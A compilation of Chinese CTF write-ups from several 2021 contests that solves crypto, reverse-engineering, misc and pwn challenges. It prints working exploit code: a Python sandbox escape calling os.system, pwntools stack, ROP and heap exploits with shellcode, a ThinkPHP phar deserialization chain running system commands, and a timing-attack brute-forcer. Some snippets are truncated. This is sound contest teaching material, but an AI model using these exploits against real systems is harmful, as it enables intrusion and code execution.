NCTF{HexQBot_1s_s0_cut3~}这个题应该有很多做法 因为使用的是exec所以可以玩的花样很多 主要思路其实就是去获取到类加载器,去加载os,然后去执行命令(但是忘ban其他关键词了,直接import也可以 这里不能用括号和引号,所以用__doc__然后用列表去获取我们想要的字符。 主要还是匿名函数的使用和@这个符号在python中的用法,以及创建对象时调用的构造函数去绕过小括号的过滤去执行函数 所以这里就给出一种解法,更多解法还请感兴趣的师傅们自己去研究一下 b=[].__class__.__base__.__class__.__subclasses__ d=[].__doc__ n={}.__doc__ _=lambda _:[].__class__.__base__ @b @_ class s:_ l=s[69] q=lambda _:d[66]+d[2] p=lambda _:n[2]+n[80]+n[55]+n[6]+n[75]+d[0]+n[80]+n[88] @l.load_module @q class o:_ @o.system @p class w:_COPY做题做累了来玩玩游戏吧题目描述: 做了一天的题目,都累了吧,快来玩玩我新写的飞机大战吧,只要通关就能获得flag哟~ 对了,如果你真的想玩游戏,也许你需要一个mac,Intel和Apple silicon芯片都支持附件链接: https://attachment.h4ck.fun:9000/misc/PlaneFire.app.tar.gz https://upyun.clq0.top/PlaneFire.app.tar.gz https://nctf.slight-wind.com/misc/PlaneFire.app.tar.gzWriteup: 看没有misc题,就把女朋友入门时写的unity项目拿过来做了个游戏题,题目娱乐为主,没啥考点,怎么做都行,本来是出的WebAssembly,考虑到难度换成了本地,分数也是本来是设置了1000,但是觉得失去了游戏乐趣改成了300,可以本地调试改分、逆向拿url或者直接打游戏通关,C#逆向和看源码没区别有手就行,直接查找字符串也可以。 Hello File Format题目描述: aiQG_ is learning to develop programs for macOS GPU. He got a file from the GPU, but he couldn't read it. Can you translate this file for him?附件链接: 链接:https://pan.baidu.com/s/1swBiyWrAx33M8DDJh7LtNQ 提取码:uo1v https://wwn.lanzoui.com/ix6wXwyi0ih flag: NCTF{TGA_NOT_GTA}hint: aiQG_ wanted to render one frame of 1920*1080wp: //此题考查数据分析能力 渲染一帧得到的GPU数据, 猜测是图片; 打开看没有任何可识别的文件格式, 文件大小为6,220,800 字节 正好是1920*1080*3, 可以猜测是每三个字节表示Red、Green、Blue三种颜色. // 到这里已经可以写个脚本去解析图片, 拿flag了, 但是本题是需要去找到一种表示此类文件的文件格式 百度搜索“图片格式”, 给出了以下几种 其中tga格式: 链接 “文件头之后是RGB图像数据”符合我们的猜测, “24位”为3字节, 符合文件特征. tga文件头只有18字节, 修复起来很简单.(链接内给出了文件头包含的信息, 这里就不列出了) 这里给出一个修复脚本参考. #python2 WIDTH = 1920 HEIGHT = 1080 fin = open("./GPU data.bin", 'rb') fout = open("./GPU data.bin.tga", 'wb') WIDTH_HEX = hex(WIDTH)[2:] HEIGHT_HEX = hex(HEIGHT)[2:] if len(WIDTH_HEX) > 4 or len(HEIGHT_HEX) > 4: print "size error" assert(0) if len(WIDTH_HEX) < 4: WIDTH_HEX = "0" * (4-len(WIDTH_HEX)) + WIDTH_HEX if len(HEIGHT_HEX) < 4: HEIGHT_HEX = "0" * (4-len(HEIGHT_HEX)) + HEIGHT_HEX fout.write("\x00\x00\x02\x00\x00\x00\x00\x00") fout.write("\x00\x00\x00\x00") fout.write(WIDTH_HEX[2:].decode('hex')) fout.write(WIDTH_HEX[:2].decode('hex')) fout.write(HEIGHT_HEX[2:].decode('hex')) fout.write(HEIGHT_HEX[:2].decode('hex')) fout.write("\x18\x20") #0x18表示每像素24位, 0x20给出了方向信息 fout.write(fin.read()) fin.close() fout.close()COPY//macOS上可以直接打开.tga格式的图片 来源: https://ctf.njupt.edu.cn/727.html
  10. CryptoVigenere在https://www.boxentriq.com/code-breaking/vigenere-cipher 网站爆破得到为key:asterism 解密得到falg。 或者 根据题目Vigenere可看出是维吉尼亚密码 使用在线解码工具破解 https://guballa.de/vigenere-solver flag:flag{53d613fc-6c5c-4dd6-b3ce-8bc867c6f648} PWNsupercall简单栈溢出,利用LibcSearcher通过题目泄露出的_IO_2_1_stdin_的真实地址找到 libc 基地址,用one_gatget 来get shell。 #!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : exp.py @Time : 2021/11/27 13:39:07 @Author : lexsd6 ''' from pwn import * from libcfind import * local_mote=0 elf='./supercall' e=ELF(elf) #context.log_level = 'debug' context.arch=e.arch ip_port=['123.57.207.81',16985] debug=lambda : gdb.attach(p) if local_mote==1 else None if local_mote==1 : p=process(elf) else : p=remote(ip_port[0],ip_port[-1]) #0x0000000000026796 : pop rdi ; ret stack_addr=int(p.recvuntil(',')[:-1],16) stdin_addr=int(p.recv(),16) log.info(hex(stack_addr)) log.info(hex(stdin_addr)) x=finder('_IO_2_1_stdin_',stdin_addr,num=9) #[-] 9: local-46e93283ff53133360e02a73ae5b5ba375410855 (source from:/mnt/d/filewsl/supercall/libc-2.27.so) p.sendline('1'*8+'2'*8+'3'*7) p.sendline('\x00'*0x10+'x'*8+p64(x.ogg(num=0))) """ [-] 0: 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL """ p.interactive() 再在远程cat flag. [+] you choose gadget: 0x4f3d5 [*] Switching to interactive mode $ ls bin dev flag lib lib32 lib64 supercall $ cat f* flag{2f3f3632-6484-4c00-82f3-a63e0d4340d9}$ RESnake发现题目有UPX壳,脱壳后,用ida打开审阅发现一疑似加密flag函数 int sub_40186F() { char v1[256]; // [esp+18h] [ebp-910h] char Dst[2048]; // [esp+118h] [ebp-810h] int j; // [esp+918h] [ebp-10h] int i; // [esp+91Ch] [ebp-Ch] sub_4021AD(22, 18); scanf("%s", v1); for ( i = 0; v1[i]; ++i ) ; sub_4017D2(v1, i);#fun2 memset(Dst, 0, 0x800u); sub_4015F7(v1, Dst, i); #fun1 sub_4021AD(22, 20); for ( j = 0; Dst[j]; ++j ) { if ( Dst[j] != a7g5d5bayTmdlwl[j] ) return puts("不对哦~下次再来吧~"); } return puts(asc_405016); } 继续跟进fun2发现: int __cdecl sub_4017D2(int a1, int a2) { int result; // eax int j; // [esp+8h] [ebp-Ch] signed int i; // [esp+Ch] [ebp-8h] for ( i = 1; i <= 10; ++i ) { for ( j = 0; ; ++j ) { result = *(unsigned __int8 *)(j + a1); if ( !(_BYTE)result ) break; if ( a2 % i ) *(_BYTE *)(j + a1) ^= (_BYTE)i + (_BYTE)j; else *(_BYTE *)(j + a1) ^= (unsigned __int8)(j % i) + (_BYTE)j; } } return result; } 是对我们的输入字符串,每一个字符按位置进行与操作。 fun1是字符串的base64加密。 while ( v16 < a3 ) { v3 = v13; v14 = v13 + 1; *(_BYTE *)(a2 + v3) = Str[((signed int)*(unsigned __int8 *)(v16 + a1) >> 2) & 0x3F]; v11 = 16 * *(_BYTE *)(v16 + a1) & 0x30; if ( v16 + 1 >= a3 ) { v4 = v14; v5 = v14 + 1; *(_BYTE *)(a2 + v4) = Str[v11]; *(_BYTE *)(v5 + a2) = '='; v6 = v5 + 1; v13 = v5 + 2; *(_BYTE *)(v6 + a2) = '='; break; } v7 = v14; v15 = v14 + 1; *(_BYTE *)(a2 + v7) = Str[((signed int)*(unsigned __int8 *)(v16 + 1 + a1) >> 4) & 0xF | v11]; v12 = 4 * *(_BYTE *)(v16 + 1 + a1) & 0x3C; if ( v16 + 2 >= a3 ) { *(_BYTE *)(a2 + v15) = Str[v12]; v8 = v15 + 1; v13 = v15 + 2; *(_BYTE *)(v8 + a2) = '='; break; } *(_BYTE *)(a2 + v15) = Str[((signed int)*(unsigned __int8 *)(v16 + 2 + a1) >> 6) & 3 | v12]; v9 = v15 + 1; v13 = v15 + 2; *(_BYTE *)(a2 + v9) = Str[*(_BYTE *)(v16 + 2 + a1) & 0x3F]; v16 += 3; } 但在调试时,发现在fun1之前,有个函数将全局变量str值改动了 这个函数如下: signed int sub_401536() { char v0; // ST13_1 signed int result; // eax signed int v2; // [esp+14h] [ebp-14h] int j; // [esp+18h] [ebp-10h] int i; // [esp+1Ch] [ebp-Ch] v2 = strlen("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"); for ( i = 0; v2 / 2 > i; ++i ) { for ( j = 0; v2 - i - 1 > j; ++j ) { if ( Str[j] > Str[j + 1] ) { v0 = Str[j]; Str[j] = Str[j + 1]; Str[j + 1] = v0; } } } result = 1; dword_406060 = 1; return result; } 于是写脚本还愿str: base_flag=[] #x='7G5d5bAy+TMdLWlu5CdkMTlcJnwkNUgb2AQL3CcmPpVf6DAp72scOSlb' x="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" v2 = len("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/") """ for ( i = 0; v2 / 2 > i; ++i ) { for ( j = 0; v2 - i - 1 > j; ++j ) { if ( Str[j] > Str[j + 1] ) { v0 = Str[j]; Str[j] = Str[j + 1]; Str[j + 1] = v0; } } """ for i in x: base_flag.append(ord(i)) print(base_flag) for i in range(v2//2): for j in range(v2-i-1): if base_flag[j]>base_flag[j+1]: v0=base_flag[j] base_flag[j]=base_flag[j+1] base_flag[j+1]=v0 得到真正的str:ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz 在对fun1函数和fun2函数逆向换源,得到flag: import base64 table = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz' table2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' tmp = '7G5d5bAy+TMdLWlu5CdkMTlcJnwkNUgb2AQL3CcmPpVf6DAp72scOSlb' tmp2 = '' for i in tmp: index = table.index(i) tmp2 += table2[index] k=base64.b64decode(tmp2+'==') nre='' kk=[] for i in range(len(k)): kk.append(ord(k[i])) print(kk) a2=len(kk) for i in range((10)): i=i+1 for j in range(len(kk)): print(str(a2%i)+''+str(i)) if a2%i!=0: kk[j]^=(i+j) else : kk[j]^=((j%i)+j) print(kk) #print(k) print(kk) flag='' for i in (kk): flag+=chr(i) print(flag) 出flag flag{5e2200bc-f21a-5421-a90b-57dec19fe196} MISC问卷调查填完表就有flag flag{让我们一起带给世界安全感} helloshark一张图片010打开发现16进制有许多PK字样,对图片进行分离处理(foremost)果然隐藏了压缩包,但是压缩包设置了密码,提示密码在图片里猜测图片存在LSB隐写,使用工具zsteg进行检测可以看到password为@91902AF23C#276C2FC7EAC615739CC7C0解压压缩包,打开流量包追踪TCP流 拼接flag拿到flag:flag{a4e0a418-fced-4b2d-9d76-fdc9053d69a1}secret_chart一张图片老样子,拉010,分离得到一个加密的压缩包密码没有给出任何提示,尝试爆破,成功,密码9527解压,打开excel文件表格是由6个月份构成的,左侧和底边都是1,猜测是二维码先将6个月份的数据放在一起,并把行高列宽统一一下添加个条件格式,字符串包含1的时候背景填充为黑色微信扫描不出来,截图二维码DataMatrix二维码在线解码工具http://boy.co.ua/decode.php解码得到一个像flag的字符串zfua{B3s1o9in1Nw0halUnofuNc0HM1}凯撒密码解密拿到flag:flag{H3y1u9ot1Tc0ngrAtulaTi0NS1} from: https://lexsd6.github.io/2021/11/27/2021%E5%B9%B4%E6%98%A5%E7%A7%8B%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%81%94%E8%B5%9B%E7%A7%8B%E5%AD%A3%E8%B5%9B%E5%8B%87%E8%80%85%E5%B1%B1%E5%B3%B0/#Crypto
  11. WebHackMe开局一个文件上传,utf-16的编码绕过,然后根据提示爆破文件名 爆破最后四位 0000 - 9999, 就可以访问到了,注意是12小时。 PwnbabyropDEBUG # _*_ coding:utf-8 _*_ from pwn import * import numpy as np context.log_level = 'debug' #context.terminal=['tmux', 'splitw', '-h'] prog = './babyrop' #elf = ELF(prog) p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"}) libc = ELF("./libc-2.27.so") #p = remote("123.57.207.81",44823) def debug(addr,PIE=False): debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) for i in addr: debug_str+='b *{}\n'.format(hex(text_base+i)) gdb.attach(p,debug_str) else: for i in addr: debug_str+='b *{}\n'.format(hex(i)) gdb.attach(p,debug_str) def dbg(): gdb.attach(p) #----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) bp = lambda bkp :pdbg.bp(bkp) li = lambda str1,data1 :log.success(str1+'========>'+hex(data1)) def dbgc(addr): gdb.attach(p,"b*" + hex(addr) +"\n c") def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" #https://www.exploit-db.com/shellcodes #-----------------------------------------------------------------------------------------sa("name? \n",'a'*0x19) debug([0x400752]) main=0x40075b val=0x400717 read_plt=0x400600 bss=0x601010 puts_got=0x600fc0 puts_plt=0x4005d0 printf_plt=0x4005f0 sa("name? \n",'a'*0x19) ru('a'*0x19) rdi=0x400913 canary=(uu64(ru(",")[0:7]))<<8 lg('canary',canary) sla('his challenge\n',str(0x4009ae)) pay=(p64(0x601010+8)*3) sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x40075c)) sleep(0.5) #pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(val)+'\n' #s(pay) sa("name? \n",p64(rdi)+p64(puts_plt)+p64(0x40075b)+'\n') sla('his challenge\n',str(0x4009ae)) pay=p64(puts_plt)+p64(0x400717)+'a'*8 sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x40075c)) sa("name? \n",p64(rdi)+p64(0x600fc0)+p64(0x000000000040090c)+'\n') sla('his challenge\n',str(0x4009ae)) pay=p64(puts_plt)+p64(0x400717)+'a'*8 sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x0000400911)) libc_base=uu64(ru("\x7f",drop=False)[-6:])-(0x7f23ededeaa0-0x7f23ede5e000) lg("libc_base",libc_base) sa("name? \n",p64(rdi)+p64(libc.search("/bin/sh").next()+libc_base)+p64(libc_base+libc.sym['system'])+'\n') sla('his challenge\n',str(0x4009ae)) pay=p64(puts_plt)+p64(0x400717)+'a'*8 sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x0000000000400911)) lg("libc_base",libc_base) it() bookshopUAF fastbin+tcache # _*_ coding:utf-8 _*_ from pwn import * context.log_level = 'debug' prog = './bookshop' #elf = ELF(prog) p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"}) libc = ELF("./libc-2.31.so") #p = remote("123.57.132.168",30042) def debug(addr,PIE=True): debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) for i in addr: debug_str+='b *{}\n'.format(hex(text_base+i)) gdb.attach(p,debug_str) else: for i in addr: debug_str+='b *{}\n'.format(hex(i)) gdb.attach(p,debug_str) def dbg(): gdb.attach(p) #----------------------------------------------------------------------------------------- s = lambda data :p.send(data) #in case that data is an int sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) bp = lambda bkp :pdbg.bp(bkp) li = lambda str1,data1 :log.success(str1+'========>'+hex(data1)) def dbgc(addr): gdb.attach(p,"b*" + hex(addr) +"\n c") def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh="\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05" #https://www.exploit-db.com/shellcodes #----------------------------------------------------------------------------------------- def choice(idx): sla(">> ",str(idx)) def add(con): choice(1) sla("> ",con) def delete(idx): choice(2) sla("bag?",str(idx)) def show(idx): choice(3) sla("read?",str(idx)) def exp(): sla("number?",str(0x68)) for i in range(10): add(6*(p64(0)+p64(0x71))) add(p64(0)*4+(p64(0x421)+p64(0x41))) for i in range(7): delete(i) delete(8) show(1) ru("Content: ") heap = uu64(ru('\n')[-6:]) lg('heap',heap) for i in range(7): add(6*(p64(0)+p64(0x71))) delete(8) add(p64(heap+0x40)) add(p64(0)) add(p64(0)*3+p64(0x421)) lg('heap',heap+0x40) #dbg() delete(1) show(1) libc_base=uu64(ru("\x7f",drop=False)[-6:])-(0x7f3f97308be0-0x7f3f9711d000) lg('libc',libc_base) fh = libc_base + libc.sym['__free_hook'] sys = libc_base + libc.sym['system'] delete(2) delete(20) delete(0) add(p64(fh)*12) add('/bin/sh\x00') add(p64(sys)) delete(22) it() if __name__ == '__main__': exp() ReRandom直接调试发现key不变 0x3E, 0xCD, 0xAA, 0x8E, 0x96, 0x1F, 0x89, 0xCD, 0xDB, 0xF1, 0x70, 0xF2, 0xA9, 0x9C, 0xC2, 0x8B, 0xF2, 0xFE, 0xAD, 0x8B, 0x58, 0x7C, 0x2F, 0x03, 0x4A, 0x65, 0x31, 0x89, 0x76, 0x57, 0x88, 0xDF, 0xB8, 0xE9, 0x01, 0xE9, 0xDE, 0xE5, 0x86, 0x68, 0x8F, 0x24, 0xD3, 0x5A] k=[0x58,0xa1,0xcb,0xe9,0xed,0x2c,0xec,0xfb,0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xc6,0x80,0xbf,0x3e,0x44,0x18,0x2e,0x73,0x56,0x52,0xb8,0x5b,0x66,0xed,0xbc,0x8a,0xd8,0x36,0x8f,0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a] f='' for i in range(len(k)): f+=chr(q[i]^k[i]) print f flag{3e625fe0-fb18-4f87-93c1-1ec217f86796} wowupx -d脱壳 patch掉这一段 00402352 call $+5 .text:00402357 add [esp+4+var_4], 6 .text:0040235B dec eax .text:0040235C retfint __cdecl main(int argc, const char **argv, const char **envp) { int *v3; // esi int *v4; // ebp int v5; // ecx int v6; // ebp int v7; // esi int v8; // ecx int v9; // edi unsigned int i; // ebx unsigned int v11; // ecx unsigned int v12; // edx unsigned int v13; // ecx int *v15; // [esp+10h] [ebp-68h] int v16; // [esp+2Ch] [ebp-4Ch] int v17; // [esp+30h] [ebp-48h] int v18; // [esp+34h] [ebp-44h] char v19[24]; // [esp+38h] [ebp-40h] BYREF char v20[24]; // [esp+50h] [ebp-28h] BYREF int v21; // [esp+74h] [ebp-4h] int savedregs; // [esp+78h] [ebp+0h] BYREF v4 = &savedregs; sub_4024C0(v20); v21 = 0; sub_402740(&dword_42AFD0, v20); scanf(v19, &input); LOBYTE(v21) = 1; if ( strlen(v20) != 36 ) { printf((int)&unk_42AE80, "wrong\n"); v17 = 0; v16 = 0; LABEL_9: *((_BYTE *)v4 - 4) = 0; sub_402430(v4 - 16); *(v4 - 1) = -1; sub_402430(v4 - 10); return *(v4 - 19); } v18 = sub_402420(v20); v15 = v3; v5 = *(_DWORD *)(v18 + 34); v6 = 12; v7 = 0; do { v7 += 0x67452301; v8 = v5 - 1; v9 = v7 + 4; for ( i = 0; i < 8; ++i ) { v11 = v8 + 2; v12 = (((v11 + 1) >> 3) + (v7 ^ (16 * (v11 + 1)))) ^ (((((v11 + 1) >> 3) + (v7 ^ (16 * (v11 + 1)))) ^ ((v11 + 1) >> 3)) + ((v11 >> 5) ^ (4 * v11))); *(_DWORD *)v12 += v12; v6 += 2; v9 += 4; v8 = *(_DWORD *)v12 + 1; } v13 = *(_DWORD *)v12 + 3; *(_DWORD *)(v7 + 32) += (((v13 + 1) >> 3) + (v7 ^ (16 * (v13 + 1)))) ^ (((((v13 + 1) >> 3) + (v7 ^ (16 * (v13 + 1)))) ^ ((v13 + 1) >> 3)) + ((v13 >> 5) ^ (4 * v13))); v5 = *(_DWORD *)(v7 + 32); v6 += 2; } while ( v6 ); v4 = v15; if ( sub_4029F0(v15 - 10, v15 - 16) ) { printf((int)&unk_42AE80, "right\n"); *(v15 - 19) = 0; goto LABEL_9; } printf((int)&unk_42AE80, "wrong\n"); *((_BYTE *)v15 - 4) = 0; sub_402430(v15 - 16); *(v15 - 1) = -1; return sub_402430(v15 - 10); } 看出差不多是xxtea加密 看汇编,找到key=[0xEFCDAB89, 0x10325476, 0x98BADCFE, 0xC3D2E1F0] DELTA 0x67452301 密文 0xD8F758F5, 0x526849DB,0xE2D72563,0x485EEFAC,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A 网上找个脚本解密 #include <stdio.h> #include <stdint.h> #define DELTA 0x67452301 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void xxtea(uint32_t* v, int n, uint32_t* key) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) // encrypt { rounds = 6 + 52/n; sum = 0; z = v[n-1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p=0; p<n-1; p++) { y = v[p+1]; z = v[p] += MX; } y = v[0]; z = v[n-1] += MX; } while (--rounds); } else if (n < -1) // decrypt { n = -n; rounds = 12; sum = rounds * DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p=n-1; p>0; p--) { z = v[p-1]; y = v[p] -= MX; } z = v[n-1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } } // test int main() { // 两个32位无符号整数,即待加密的64bit明文数据 uint32_t v[9] = {0xD8F758F5, 0x526849DB,0xE2D72563,0x485EEFAC,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A}; // 四个32位无符号整数,即128bit的key uint32_t k[4]= {0xEFCDAB89, 0x10325476, 0x98BADCFE, 0xC3D2E1F0}; //n的绝对值表示v的长度,取正表示加密,取负表示解密 int n = 9; // printf("Data is : %x %x\n", v[0], v[1]); // xxtea(v, n, k); // printf("Encrypted data is : %x %x\n", v[0], v[1]); xxtea(v, -n, k); printf(" %s\n", v); return 0; }529e3d91db48e084f76fca97b94499} MiscUn(ix)Zip用unzip解压得到信息: 1/15 extracting: ppp/1/18 extracting: ppp/1/26 extracting: ppp/3/6 extracting: ppp/9/36 extracting: ppp/F/23 extracting: ppp/G/14 extracting: ppp/M/13 extracting: ppp/R/31 extracting: ppp/R/35 extracting: ppp/V/19 extracting: ppp/W/10 extracting: ppp/X/17 extracting: ppp/X/25 extracting: ppp/X/8 extracting: ppp/Z/1 extracting: ppp/Z/5 extracting: ppp/Z/9 extracting: ppp/b/29 extracting: ppp/c/33 extracting: ppp/d/27 extracting: ppp/e/21 extracting: ppp/h/4 extracting: ppp/j/12 extracting: ppp/j/22 extracting: ppp/j/34 extracting: ppp/l/16 extracting: ppp/l/32 extracting: ppp/m/2 extracting: ppp/m/30 extracting: ppp/t/7 extracting: ppp/u/20 extracting: ppp/v/28 extracting: ppp/w/24 extracting: ppp/x/11 extracting: ppp/x/3 按后面的位数将前面的字母和数字依次排列得到: base64解码得到: 오징어 게임下载附件得到一个加密的压缩包文件,压缩包内有一个zip和一个jpg文件 用7z打开,可以发现jpg用的是ZipCrypto Deflate压缩算法,而zip用的是ZipCrypto Store压缩算法,Store算法是可以进行明文攻击的 利用bkcrack进行明文攻击,plain.txt内的数据为 flagornot.txt,因为压缩包的第30偏移为固定为压缩包内的文件名,而文件名在压缩包注释内可以得到 not solve the problem. What you want may be flagornot.txt 明文碰撞命令如下: 123.zip -c flagornot.zip -p planit.txt -o 30 -x 0 504B0304 得到key: 683a571e f954e70c 49da18ac 之后利用这个key即可解开压缩包 123.zip -c flagornot.zip -k 683a571e f954e70c 49da18ac -d result.zip 同理解出jpg图片,jpg图片需要用bkcrack自带的inflate.py工具解一下数据流 解得: 最后利用WaterMarkH即可解出盲水印 放大一点 解得flag: 7bfbc17a-3520-0ed2-fd0e-e1eb47a94fae} CryptoSymbolLatex语法: $$\forall\uplus\nu_\Lambda\alpha T\epsilon\Xi_M\approx\triangleleft\hbar$$ flag{fun_LaTeX_Math} fun_LaTeX_Math md5一下。 Romeo's Encryption Machine0x2000次aes. 测了一下大概0.10s左右得花掉。 明显timing attack. 不过得爆破这个密码 得慢慢来 emmm. 所以要 分多次去爆破。 按照table 丢个自动化脚本就行。 具体可以参照 n1ctf 的 n1ogin 的思想。 "~!@#$%^&*()_+|,." suffix = '........' passw = '' def fuck(passw,index): Tl = [] for i in alphabat: tmp_passw = (passw+ i+suffix[index+1:])..encode() io.recv() stime = time.time() io.sendline(tmp_passw) io.recvuntil(b'password:') Tl.append(time.time() - stime) passw = passw + alphabat[Tl.index(max(Tl))] return passw password: `#G.5~1ss` hamburgerRSA自己生成发现前19位和后19位会跟n的一样。 只要爆破1位就可以了 分解是2个素数就拿到p,q 然后走流程 str(n)[-19:] high = str(n)[:19] pq_prob = [] for i in range(10): pq_prob.append(int(high + str(i) + low)) for x in (pq_prob): f = factor(x) print(f) if (len(f) == 2 and f[0][0].nbits() == 64): p, q = f[0][0], f[1][0] break from: https://www.cnblogs.com/yesec/p/15689620.html
  12. 0x00 Misc一、应该算是签到 二、Cthulhu Mythos 三、CyzCC_loves_LOL lovemath 0x01 Web一、EZ_TP <?php namespace think { class Request { protected $filter; protected $hook = []; protected $param = []; protected $config = []; public function __construct() { $this->filter = 'system'; $this->param = ['cat /*']; $this->hook = ['visible' => [$this, 'isAjax']]; $this->config = ['var_ajax' => '']; } } abstract class Model { private $data = []; protected $append = []; function __construct() { $this->append = ['h3rmesk1t' => ['a']]; $this->data = ['h3rmesk1t' => new Request()]; } } } namespace think\model { use think\Model; use think\Request; class Pivot extends Model { } } namespace think\process\pipes { use think\model\Pivot; class Pipes { } class Windows extends Pipes { private $files = []; function __construct() { $this->files = [new Pivot()]; } } } namespace { use think\process\pipes\Windows; $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub(" __HALT_COMPILER(); ?>"); $demo = new Windows(); $phar->setMetadata($demo); $phar->addFromString("hello.txt", "demo"); $phar->stopBuffering(); } 二、ezcms <?php include_once 'Ant_Inc.php'; if (isset($_GET['url'])){ $dname=explode("/", $_GET['url']); if(strpos($dname[2],'sem-cms.cn') !== false){ $url=$_GET['url']; }else{ echo("<script language='javascript'>alert('非法操作');window.history.back(-1);</script>"); exit; } }else{ $url=""; } if (!empty($url)){ $fn = explode("/", $url); $filename =end($fn); $fndir = str_replace(".zip", "", $filename); //下载目录 $save_dir = "../Soft/Zip/"; //解压目录 $open_dir = "../Soft/Uzip/"; //备份目录 $bak_dir = "../Soft/Bak/"; //下载文件 $result =getFile($url, $save_dir, $filename,1); if ($result===false){ echo("<script language='javascript'>alert('文件下载失败,重新下载:可能不支持cURL,或服务器原因');window.history.back(-1);</script>"); exit; } //解压文件 $size = get_zip_originalsize($save_dir.$filename,$open_dir); //备份目录 if(!is_dir($bak_dir)){ mkdir($bak_dir,0777,true); } $file = fopen($open_dir.$fndir."/install.txt","r"); while(!feof($file)){ $url=explode("=",fgets($file)); //备份文件 $bak_file = explode("/", trim($url[1])); if(file_exists(trim($url[1]))){ //原文件存在的备份 if(rename(trim($url[1]),$bak_dir.end($bak_file))===false){ echo "备份失败"; } } //安装文件 if(rename(trim($url[0]),trim($url[1]))===false){ //echo "安装失败"; echo "<script language='javascript'>alert('安装失败,请重新安装');window.history.back(-1);</script>"; exit; } } fclose($file); //删除解压文件及压缩包 delDirAndFile($save_dir); delDirAndFile($open_dir); echo("<script language='javascript'>alert('安装成功');window.history.back(-1);</script>"); } ?> 0x03 Crypto一、little_trick from gmpy2 import * import binascii import random seeds = [3, 0, 39, 78, 14, 49, 73, 83, 55, 48, 30, 28, 23, 16, 54, 23, 68, 7, 20, 8, 98, 68, 45, 36, 97, 13, 83, 68, 16, 59, 81, 26, 51, 45, 36, 60, 36, 94, 58, 11, 19, 33, 95, 12, 60, 38, 51, 95, 21, 3, 38, 72, 47, 80, 7, 20, 26, 80, 18, 43, 92, 4, 64, 93, 91, 12, 86, 63, 46, 73, 89, 5, 91, 17, 88, 94, 80, 42, 90, 14, 45, 53, 91, 16, 28, 81, 62, 63, 66, 20, 81, 3, 43, 99, 54, 22, 2, 27, 2, 62, 88, 99, 78, 25, 76, 49, 28, 96, 95, 57, 94, 53, 32, 58, 32, 72, 89, 15, 4, 78, 89, 74, 86, 45, 51, 65, 13, 75, 95, 42, 20, 77, 34, 66, 56, 20, 26, 18, 28, 11, 88, 62, 72, 27, 74, 42, 63, 76, 82, 97, 75, 92, 1, 5, 20, 78, 46, 85, 81, 54, 64, 87, 37, 91, 38, 39, 1, 90, 61, 28, 13, 60, 37, 90, 87, 15, 78, 91, 99, 58, 62, 73, 70, 56, 82, 5, 19, 54, 